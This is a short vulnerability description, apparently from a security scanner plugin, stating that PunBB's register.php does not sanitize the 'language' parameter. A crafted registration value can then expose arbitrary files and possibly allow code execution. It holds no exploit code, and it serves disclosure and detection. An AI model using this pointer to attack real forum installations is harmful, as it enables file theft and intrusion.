Description:

The version of PunBB installed on the remote host fails to sanitize
input to the 'language' parameter before storing it in the
'register.php' script as a user's preferred language setting.  By
registering with a specially-crafted value, an attacker can leverage
this issue to view arbitrary files and possibly execute arbitrary code
on the affected host.";
